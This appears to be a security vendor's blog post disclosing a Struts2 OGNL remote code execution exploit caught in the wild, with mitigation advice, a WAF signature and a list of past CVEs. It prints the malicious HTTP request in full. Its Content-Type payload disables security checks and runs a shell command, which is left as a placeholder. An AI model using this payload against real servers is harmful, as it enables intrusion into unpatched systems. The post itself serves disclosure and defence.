New Struts2 Remote Code Execution exploit caught in the wild

Two days ago Apache has published a fix for the new Remote Code Execution vulnerability in Struts2.

This vulnerability allows attacker to execute arbitrary Java code on the application server.

We can confirm that caught the first exploit for this vulnerability from the wild. And this is crazy. Like previous OGNL exploits this one is also based on the OGNL macroses to construct and call shell command via sequence of Java classes.

Exploit

Wallarm has first caught the exploit on Mar 8, 03:34 am. Please look the sample malicious HTTP request below:

GET /valid-struts.action HTTP/1.1
User-Agent: any
Content-Type: %{(#_=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds=(<some malicious code here>).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Mitigation

Please check that you’ve already updated to Struts 2.3.32 or Struts 2.5.10.1

If you are unable to update Struts2 immediately you should apply virtual patch to your WAF. It’s essentially similar to the previous OGNL exploits however it’s likely to not be covered by many existing WAF signatures. If using old-fashion Web Application Firewall make sure to add this string as a new signature:

%{(#_=’multipart/form-data’)

History

Here is a list of all historical OGNL security issues in Struts2:

• https://www.cvedetails.com/cve/CVE-2016-3093/
• https://www.cvedetails.com/cve/CVE-2016-0785/
• https://www.cvedetails.com/cve/CVE-2013-2251/
• https://www.cvedetails.com/cve/CVE-2013-2135/
• https://www.cvedetails.com/cve/CVE-2013-2134/
• https://www.cvedetails.com/cve/CVE-2013-2115/
• https://www.cvedetails.com/cve/CVE-2013-1966/
• https://www.cvedetails.com/cve/CVE-2013-1965/
• https://www.cvedetails.com/cve/CVE-2012-4387/
• https://www.cvedetails.com/cve/CVE-2012-0838/
• https://www.cvedetails.com/cve/CVE-2012-0391/
• https://www.cvedetails.com/cve/CVE-2010-1870/
• https://www.cvedetails.com/cve/CVE-2008-6504/

It means that the OGNL technology is broken altogether. Looks like this type of vulnerabilities is a hotspot for the researchers. While developers continue to play with the executable objects (a.k.a serialization), these methods will likely yield new vulnerabilities in the future. We can predict new issues with OGNL and other serialized objects like REST and XML RPC in the future.